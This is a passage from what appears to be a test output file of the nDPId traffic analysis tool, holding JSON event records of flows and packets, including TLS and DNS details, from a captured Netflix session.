wgSW5jLjETMBEGA1UECwwKT3BlcmF0aW9uczELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExEjAQBgNVBAcMCUxvcyBHYXRvczCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKCMPKDrRKNlpQYmDci6pMXZdSSUbKrQRkPDz7HhtKtPPugiuJduNExZc6Kdb12vBV\/O+SiPHaVK7mpFvbFGQlMb6qQfwVOi\/aD6FF0wubaBBRmV5soLn6Uml8hcRcy1GwhcE0PciETMHgCKsYz6GRuA022Eqzo18xrMBx0ZwPuRDaRc+aOcYlh2D8wJdLQNpKdgRiYnOzqzb1V73+PIcLBKBaRmuSAMY7T6QAsBvotFYlMY32uWd0vZw9isFDSJCV8w2CSLAAeSkvUEJt3zKqKD5d5h8lWhsfYUg78EDVQMWb3iyTQ+UHy3b4IHtGaB+ybeHo7UkyS4NKYViXGQ4bECAwEAAaOBhDCBgTALBgNVHQ8EBAMCBaAwHwYDVR0jBBgwFoAUgzutabNbHNPaO8lPBXMZwiqK8P8wHQYDVR0OBBYEFH8tt\/b+DoJ\/qUOipuTAuxoaEiJTMBMGA1UdJQQMMAoGCCsGAQUFBwMBMB0GA1UdEQQWMBSCEioubmNjcC5uZXRmbGl4LmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAkveZR7qD\/7\/8qJ4CSsfWHq+Cw0DsuYB9YjDmpMA3gU+yzX9cXxMn8tY3AApgaSjK94LEU1T7O\/bsKsL0uCJuFhSfW4W3+AlTe3UhEOMeILOZwgcMhUPQXGI28idMvibE1zQjX96OSlU9uDL6s8itcycsRGgSP0e+Umi1cijldISAIfgK+QzQIa\/k6kuJZ2i1hk4M6e8JqkqoYRso7uoX2ECQVKzVgRgm0z79wLxOrKXQf5L2Js7s03GHwdt04kQTtyYRh6NEGBmzjgdicV4sXy4g3wbAPPR1+itz5sKT\/vAAteT\/4Ik8+RSfZGNefG8eQxjBkJKvoKV1GyHiH3YYrgAD9TCCA\/EwggLZoAMCAQICAQAwDQYJKoZIhvcNAQEFBQAwgZkxLTArBgNVBAMTJFByaW1hcnkgQ2VydGlmaWNhdGUgQXV0aG9yaXR5ICgyMDA5KTETMBEGA1UECBMKQ2FsaWZvcm5pYTELMAkGA1UEBhMCVVMxFDASBgNVBAoTC05ldGZsaXggSW5jMRwwGgYDVQQLExNFbGVjdHJvbmljIERlbGl2ZXJ5MRIwEAYDVQQHEwlMb3MgR2F0b3MwHhcNMDEwMTAxMTIzMDAwWhcNMjkwMTAxMTIzMDAwWjCBmTEtMCsGA1UEAxMkUHJpbWFyeSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgKDIwMDkpMRMwEQYDVQQIEwo="} +00818{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6423,"source":"netflix.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":6,"flow_first_seen":1484319114406,"flow_last_seen":1484319114523,"flow_tot_l4_data_len":2177,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":362,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.22.214","src_port":53238,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ios.nccp.netflix.com","ja3":"dc67ac8aaf8d7f69ecd6598135448f24","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +01890{"flow_id":54,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6425,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":556754,"pkt_caplen":1146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1146,"pkt_l4_len":1112,"pkt":"5JjWH70UgCqoTGHMCABFIARsSDNAACkG+JM0IBbWwKgBBwG7z\/ZJSnC3fk4ID4AYAD2o6wAAAQEICraxI0AfZeoCQ2FsaWZvcm5pYTELMAkGA1UEBhMCVVMxFDASBgNVBAoTC05ldGZsaXggSW5jMRwwGgYDVQQLExNFbGVjdHJvbmljIERlbGl2ZXJ5MRIwEAYDVQQHEwlMb3MgR2F0b3MwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQClPiFZwHhqw9wmYrruaK5lM2jxb7OnG1xOPDkmSt9ostlHBuuEIpSAegeSu5IfyCw3LHZ5HEtbube7+v\/KvRUK5l\/8E0dgm2kIkuwXCInrxOb8Vue1EwYiVMbipMtTVxaqzqdYnzqFFOOaTfiiHdtDWwp3jjKl188E9wc5el6k667OBUw7VTGI1M30wgKX7rU1qB+D91fdnRNVb90uSyhuGgXw1LaZpqNyQ9UU0bMQcwmLcmoY3NWdMMN4j0Fw11owmtXswG41YKRxcm9yJjbyyDmry1mVF9Ri9GMcR5I+VveQudxyLML\/0PMTT+qCooHPhnMm\/zY9AEn0tmAkD70jAgMBAAGjQjBAMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgGGMB0GA1UdDgQWBBSDO61ps1sc09o7yU8FcxnCKorw\/zANBgkqhkiG9w0BAQUFAAOCAQEAPX7Vj0zBi5fWHkB\/U5GnVLqaRStn52gTsUPoxmVjareLMMkMSrAGtP8CHGMLLrjOh9GFMjrsJM6Q+mLzAhMhpmvZPRAM4kzXdAYTLRWD4dxyYCkG2sjDdGTYdO7AfokcOnu5kypA0bdWe8KcZVFjpw8f+ACSkxjkgL+lk0kWZf+uiCojU3Wt9O\/Z8+xm1PIbBOEfirH+o8gWESD86CiOqZH9cFmSjXziHHxIo4mgCTt9Jse8h8gkDJE2wQTeq3ttX1P5eyrHphoXtwy2Wtx77US+s5J0di17tOPKnQFd35Ew\/l0PWFqar2MQ46R\/UU15UR68hb86jgCQplA8NeBZoBYDAwFNDAABSQMAF0EEGryB8m7f8C\/ezYDjVMC5\/bYUlL3UMXWF51ZdioOsu1C8eeg9z3YrwNQhm0E0NE1Vc2dSBCCy9Npo3cZ0\/HFXoAYBAQAn3e06PRmGFCjXxR40PpWkvwW1MF+tohXkQaam9A2m27AmFjS1ux37QZ9jfKG3m\/w\/LGVJHLGcGyfr+fJWRQJ+NadvmsAAMbQufRwNNp8YUL0dRkWmG+HBYJ6a8HOHFLBq513VDByQqVinIGOU13CVzQ+LqDXJpPMKKagHVIbxxzcYH\/23vK84JLehHYBOZs1mPmj1Wv3CjjZezptbAQKinKI0hf9MgrA8NmO3ZbzRp4JQPEjZQvQ6IgQCzuWeL0lwYAa2fEM6cNdNXgX1FKGEIfoctZsL2eEHMtAzzMktMQYh2h+lSh0mmkF3twFX2XNjcEczhEizqqPgiIohSHYAFgMDAAQOAAAA"} +01157{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6425,"source":"netflix.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":7,"flow_first_seen":1484319114406,"flow_last_seen":1484319114556,"flow_tot_l4_data_len":3289,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":469,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.22.214","src_port":53238,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ios.nccp.netflix.com","server_names":"*.nccp.netflix.com","ja3":"dc67ac8aaf8d7f69ecd6598135448f24","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"CN=Primary Certificate Authority (2009), ST=California, C=US, O=Netflix Inc, OU=Electronic Delivery, L=Los Gatos","issuerDN":"CN=*.nccp.netflix.com, O=Netflix, Inc., OU=Operations, C=US, ST=California, L=Los Gatos","fingerprint":"97:F6:63:95:8F:F2:5E:E0:80:12:5A:FD:BF:B2:EB:FE:A2:FE:72:33"}} +00427{"flow_id":54,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6426,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":558598,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0hPlAAEAGqSXAqAEHNCAW1s\/2Abt+TggPSUp074AQD95gPAAAAQEICh9l6l22sSNA"} +00603{"flow_id":54,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6430,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":603786,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"gCqoTGHM5JjWH70UCABFAACydzNAAEAGtm3AqAEHNCAW1s\/2Abt+TggPSUp074AYEABIXQAAAQEICh9l6oe2sSNAFgMDAEYQAABCQQTxDC6Wn6YYEgXIFG6\/SmM39\/GE1TgVz4\/+C3OUePE6pg0RC6ZIHk+Ou6JnsuzO6lgkFZ\/KZ50cfVCGW9ilGsT3FAMDAAEBFgMDACjICEaq1m6jlGDcF6br9XQbdvu0pxOS73tybhOwmQInGcqBWBx\/Ce26"} +00499{"flow_id":54,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6438,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":826935,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"5JjWH70UgCqoTGHMCABFIABnSDVAACkG\/JY0IBbWwKgBBwG7z\/ZJSnTvfk4IjYAYAD3H6wAAAQEICraxI44fZeqHFAMDAAEBFgMDACibeyDQe+srS4CZnBNqAJnCGqyZO1sem6ZY8a4UvQoBOFtV9j66ObmX"} +00429{"flow_id":54,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6439,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":828766,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0lShAAEAGmPbAqAEHNCAW1s\/2Abt+TgiNSUp1IoAQD\/5eGQAAAQEICh9l62G2sSOO"} +01778{"flow_id":54,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6440,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":830543,"pkt_caplen":1059,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1059,"pkt_l4_len":1025,"pkt":"gCqoTGHM5JjWH70UCABFAAQV6IBAAEAGQb3AqAEHNCAW1s\/2Abt+TgiNSUp1IoAYEABWDQAAAQEICh9l62K2sSOOFwMDA9zICEaq1m6jlXW72YhAZ\/aBeNcZv5uiomitvGVpM0lAJKDumWK7I9XgnWtD4mUfUFLRInZfZSLdbkLxUhP29LXvLgOJMTR6ZzYmyPQlPGxet5NXy6fWSo+1WbIWUbZ9xWriXSMBo37RJOqRTii7yIzXf7nG+OvSsffgH6g54z7erh3foOVfDQAq7h9bTeIB75fVTO0VecSIkVaHUAb1zPbDzCpK3GoSG6PnTWdeypNub7M0iMM4E1Wb6OjH7lF8nSRKRFCTmtJyMxz517Qtgzx\/U9l3PR29iPGEJ3dc8Zn3FphDoR9P9K+DsJ1wumCtpEn0op3H2c\/bX2Yaxu0P4myPyzd3lH+Xn6TI4lfFccYeA3ELYa+BJzHH+rErmGKF1ssnvRv+bzetnNZZ8GBdVNPrgGwNTytIbT4QglLCpSLXo5qPdodEfZCFkI7\/KV4ylTMNFIQyE+cLyW3Q6dTPq4CsuCz1EUNCwXqOI9CYGQrZ6IDnpicA\/Id8c4HkjBvLHzK2nNCAI3tzwxsfasBnGNTo\/xuWfJoZWQa5JAsUscXtoKovM1ntwjaxt45Kn5CQbJqBJKK4yROP86RYVJzaOrrZWwMcxApcuCG0KlzNWOYPCgwIKFTQp8mMnTavfh8F1kJ95Zo84P1Mrnsmatl4CPQx0ljk0mmtjrc82KTxSoV4JLb08UWL47b2yUx7A2\/GL2N+CF8wlSJ0oh7n2WwZuDTlyMHwOeupKqdTze9iabH65YO6u3J\/2AqlJMCaRNPL4uFrVy5GTBDtRExu\/fwN1E4z\/8aDZk2NtqbgTey3+YsnVnFMTsFq4X+epQJfTyuo0HrqQV1H6cvaYgOBJE+00j4z0OVdlxYXUoEuqNpMXBoF\/O8Qmh\/T+WrCpIovULq68t03nccDdDRfF4xreSh+fr1Jt9MsvhOHaKUnpBVag3LZ4r\/x7gXBZVRD2cldd6B6r1UuiSN26Cs5Hu\/5kfzbJDetwAp2i\/NwuBfkNtJwB43MIFzuPAhNafjTDjUTYl0j35OQlpKPftCoNc3nyI5ScV7jiItERjk69yIvF8BMEn48Yo0V5ntzkfZlq5quL5tcWGo\/3Mf88dRS6R98gUhM3DIYvC6wqbO7lPIpAju1G\/Nvqly8CaKDhM67e2EAMC4CPu\/XgTHdBZCuzY7YG0RimwBRUPrkmlDYH9eU\/T69ILGaGptSIsF1lWK8cRemCXXWcfyHkif3WQ2RRNZCWS7CdXh3TD\/GtGNVKRHSUxHWqdSBTsXrcRlyvBtP3PaClzsUE9YrQ2r3H8BniBGnYGyJgFZA5ckhHlEZnjn6kFz7"} +00429{"flow_id":54,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6447,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":886036,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0SDdAACkG\/Mc0IBbWwKgBBwG7z\/ZJSnUifk4MboAQAEVp5AAAAQEICraxI5ofZeti"} +00503{"flow_id":54,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6448,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":886578,"pkt_caplen":120,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":120,"pkt_l4_len":86,"pkt":"5JjWH70UgCqoTGHMCABFIABqSDhAACkG\/JA0IBbWwKgBBwG7z\/ZJSnUifk4MboAYAEXD6AAAAQEICraxI5ofZetiFwMDADGbeyDQe+srTFqCvv0jkSPlgmWK67SbF7J62b5JBAvZSwzB91li0XFBZ6u4EQj5F+Pt"} +00429{"flow_id":54,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6449,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319114,"pkt_ts_usec":888245,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0YSZAAEAGzPjAqAEHNCAW1s\/2Abt+TgxuSUp1WIAQD\/5ZvgAAAQEICh9l65m2sSOa"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6721,"source":"netflix.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1484319117511,"flow_last_seen":0,"flow_tot_l4_data_len":63,"flow_min_l4_data_len":63,"flow_max_l4_data_len":63,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":52095,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00472{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6721,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":511945,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"gCqoTGHM5JjWH70UCABFAABT2RsAAP8RXyXAqAEHwKgBAct\/ADUAP5\/hcXUBAAABAAAAAAAACmFwaS1nbG9iYWwHbGF0ZW5jeQZwcm9kYWEHbmV0ZmxpeANjb20AAAEAAQ=="} +00655{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6721,"source":"netflix.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1484319117511,"flow_last_seen":0,"flow_tot_l4_data_len":63,"flow_min_l4_data_len":63,"flow_max_l4_data_len":63,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":52095,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"api-global.latency.prodaa.netflix.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00641{"flow_id":55,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6726,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":538934,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"5JjWH70UgCqoTGHMCABFAADT4UxAAEAR1XTAqAEBwKgBBwA1y38Av8eGcXWBgAABAAgAAAAACmFwaS1nbG9iYWwHbGF0ZW5jeQZwcm9kYWEHbmV0ZmxpeANjb20AAAEAAcAMAAEAAQAAACsABDQpHgXADAABAAEAAAArAAQ0KVZPwAwAAQABAAAAKwAENCnkd8AMAAEAAQAAACsABDQpn7bADAABAAEAAAArAAQ0J+8jwAwAAQABAAAAKwAENCc7i8AMAAEAAQAAACsABDQo+f3ADAABAAEAAAArAAQ0KRH0"} +00681{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6726,"source":"netflix.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":2,"flow_first_seen":1484319117511,"flow_last_seen":1484319117538,"flow_tot_l4_data_len":254,"flow_min_l4_data_len":63,"flow_max_l4_data_len":191,"flow_avg_l4_data_len":127,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":52095,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"api-global.latency.prodaa.netflix.com","num_queries":1,"num_answers":8,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.41.30.5"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6744,"source":"netflix.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1484319117605,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.41.30.5","src_port":53239,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6744,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":605859,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABArFRAAEAGeobAqAEHNCkeBc\/3Abv7qhZTAAAAALAC\/\/8qUQAAAgQFtAEDAwUBAQgKH2X1uAAAAAAEAgAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6755,"source":"netflix.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1484319117651,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.22.214","src_port":53248,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6755,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":651396,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAO7RAAEAG8l7AqAEHNCAW1tAAAbtmeMEgAAAAALAC\/\/8btwAAAgQFtAEDAwUBAQgKH2X15gAAAAAEAgAA"} +00440{"flow_id":56,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6758,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":664151,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACkGPb80KR4FwKgBBwG7z\/fOmYqt+6oWVKASOJB9NwAAAgQFtAQCCAqh\/Yo1H2X1uAEDAwg="} +00428{"flow_id":56,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6761,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":667082,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0nQxAAEAGidrAqAEHNCkeBc\/3Abv7qhZUzpmKroAQEBXUQwAAAQEICh9l9fSh\/Yo1"} +01125{"flow_id":56,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6764,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":668880,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"gCqoTGHM5JjWH70UCABFAAI59gxAAEAGLtXAqAEHNCkeBc\/3Abv7qhZUzpmKroAYEBUUlAAAAQEICh9l9feh\/Yo1FgMBAgABAAH8AwNYeOmNAe5Q0hcaTI2Ej50ifhjlODvil\/8YZ4JhR3RxkSAlPalSNkR1ua99akikzzyiXtlC5nVNfalnaleVK1UZuQAmAP\/ALMArwCTAI8AKwAnAMMAvwCjAJ8AUwBMAnQCcAD0APAA1AC8BAAGNAAAAGwAZAAAWYXBpLWdsb2JhbC5uZXRmbGl4LmNvbQAKAAgABgAXABgAGQALAAIBAAANABIAEAQBAgEFAQYBBAMCAwUDBgMzdAAAABAAMAAuAmgyBWgyLTE2BWgyLTE1BWgyLTE0CHNwZHkvMy4xBnNwZHkvMwhodHRwLzEuMQAFAAUBAAAAAAASAAAAFwAAABUA+QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6764,"source":"netflix.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":4,"flow_first_seen":1484319117605,"flow_last_seen":1484319117668,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.41.30.5","src_port":53239,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","ja3":"d8bfad189bd26664e04570c104ee8418","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +00438{"flow_id":57,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6772,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":703150,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACkGRPc0IBbWwKgBBwG70ABfA575ZnjBIaASOJAZDQAAAgQFtAQCCAq2sSZcH2X15gEDAwg="} +00426{"flow_id":57,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6773,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":704525,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0fsVAAEAGr1nAqAEHNCAW1tAAAbtmeMEhXwOe+oAQEBVwIwAAAQEICh9l9hi2sSZc"} +01123{"flow_id":57,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6774,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":713351,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"gCqoTGHM5JjWH70UCABFAAI5taBAAEAGdnnAqAEHNCAW1tAAAbtmeMEhXwOe+oAYEBXylgAAAQEICh9l9hq2sSZcFgMBAgABAAH8AwN8q\/ZLhsSOm12ptnIT0OvNxxjn3f9+RlJ5hY7lfSkXAAAAtsAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANgCIAIcAhgCFwDLALsAqwCbAD8AFAJ0APQA1AITAL8ArwCfAI8ATwAkApACiAKAAngBnAEAAPwA+ADMAMgAxADAAmgCZAJgAlwBFAEQAQwBCwDHALcApwCXADsAEAJwAPAAvAJYAQQAHwBHAB8AMwAIABQAEwBLACAAWABMAEAANwA3AAwAKABUAEgAPAAwACQD\/AQABHQAAABkAFwAAFGlvcy5uY2NwLm5ldGZsaXguY29tAAsABAMAAQIACgAcABoAFwAZABwAGwAYABoAFgAOAA0ACwAMAAkACgANACAAHgYBBgIGAwUBBQIFAwQBBAIEAwMBAwIDAwIBAgICAwAPAAEBABUAqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6774,"source":"netflix.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":4,"flow_first_seen":1484319117651,"flow_last_seen":1484319117713,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.22.214","src_port":53248,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ios.nccp.netflix.com","ja3":"dc67ac8aaf8d7f69ecd6598135448f24","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} 